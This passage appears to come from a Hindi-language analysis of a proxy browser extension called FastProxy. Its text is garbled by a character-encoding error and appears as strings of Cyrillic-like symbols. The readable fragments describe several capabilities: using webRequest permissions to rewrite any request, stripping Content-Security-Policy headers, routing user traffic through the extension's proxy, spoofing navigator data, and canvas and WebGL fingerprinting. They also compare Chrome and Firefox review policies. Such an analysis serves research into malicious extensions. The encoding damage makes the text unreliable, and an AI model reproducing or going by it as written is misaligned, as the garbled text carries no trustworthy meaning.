рдпрд╛рдиреА FastProxy рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ рдПрдВрдЯреА-рдмреИрди рдФрд░ рдмреНрд░рд╛рдЙрди рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
4. рд╡рд┐рд╕реНрддрд╛рд░ рдХреНрд╖рдорддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
рдЕрдиреБрдорддрд┐ рд╡реЗрдмрд░реЗрдХреНрд╡реЗрд╕реНрдЯ + рд╡реЗрдмрд░реЗрдХреНрд╡реЗрд╕реНрдЯрдмреНрд▓реЙрдХрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдХреНрд░реЛрдо рдХреЗ рдЕрдВрджрд░ рд╣реА рдЖрдВрддрд░рд┐рдХ рдЕрдиреБрд░реЛрдз рд╕рд╣рд┐рдд рдмрд┐рд▓реНрдХреБрд▓ рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред
рдпрд╛рдиреА рдЖрдк HTML- рдкреГрд╖реНрдареЛрдВ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдк рд╕рд╛рдЗрдЯ рдХреЗ CSP (рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐) рд╕рд╣рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЕрдкрдиреЗ рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдЕрдкрдиреЗ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдорд░реНрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
5. рдПрдХреНрд╕рдЯреЗрдВрд╢рди Google рдФрд░ рдореЛрдЬрд╝рд┐рд▓рд╛ рдХреА рдиреАрддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
Google рдХреА рдиреАрддрд┐ рдореЛрдЬрд╝рд┐рд▓рд╛ рдХреА рдиреАрддрд┐ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд▓рд╛рднрджрд╛рдпрдХ рд╣реИ, рд╡реЗ рд▓рдЧрднрдЧ рд╕рдм рдХреБрдЫ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
рдореЛрдЬрд╝рд┐рд▓рд╛ рдХреА рд╕рдЦреНрдд рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдВ рд╣реИрдВ: рдЕрд╕реБрд░рдХреНрд╖рд┐рдд-рдирд┐рд╖реНрдХрд╛рд╕рди рдирд┐рд╖рд┐рджреНрдз рд╣реИ, рдХреЛрдб рдУрдлрд╝реНрдлрд╝реНрдпреВрд╢рд┐рдПрд╢рди рдирд┐рд╖рд┐рджреНрдз рд╣реИ (рдпрджрд┐ рдЖрдк рдкреВрд░реНрдг рдХрд▓реЗрдХреНрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ)ред
рдореЛрдЬрд╝рд┐рд▓рд╛ рд╕рдордп-рд╕рдордп рдкрд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛрдб рднреА рджреЗрдЦрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдкреНрд░рдХрд╛рд╢рди рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдирд╣реАрдВред
рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдВ рдФрд░ рдпрд╣рд╛рдВ рдкрдврд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ ред
рдЗрд╕ рдХрд╛рд░рдг рд╕реЗ, рдирдП рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдХреНрд░реЛрдо рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рд╢рд╛рдВрдд рд╣реИред
6. рдХреЛрдб рдореЗрдВ рдирдпрд╛ рдХреНрдпрд╛ рд╣реИ:
рдиреЗрд╡рд┐рдЧреЗрдЯрд░ рднреВрддрдХрд╛рд▓ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдЕрд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдФрд░ рднреА рдЕрдзрд┐рдХ рджреЗрдЧрд╛ред
eval.toString, рд╕рд╛рде рд╣реА рд╕рд╛рде рдЕрдиреНрдп рдореВрд▓ рдлрд╝рдВрдХреНрд╢рди, рдЖрдкрдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
рдХреИрдирд╡рд╛рд╕ рдФрд░ рд╡реЗрдмрд▓реЙрдЧ рдкрд░ рдЕрджреНрд╡рд┐рддреАрдп рдкреНрд░рд┐рдВрдЯред
7. рдкрд╛рдардХреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢реНрди
рдЕрдЧрд░ рдХрд┐рд╕реА рдиреЗ рд╡реЗрдмрд▓реЙрдЧ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдХреГрдкрдпрд╛ рд╣рдореЗрдВ рдмрддрд╛рдПрдВ рдХрд┐ getWebglFingerprint рдлрд╝рдВрдХреНрд╢рди рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред рдФрд░ рд╡рд╣рд╛рдБ рдХреНрдпрд╛ рдЕрдиреЛрдЦрд╛ рдирд┐рдХрд▓рд╛?
рд╕рднреА рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдпрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред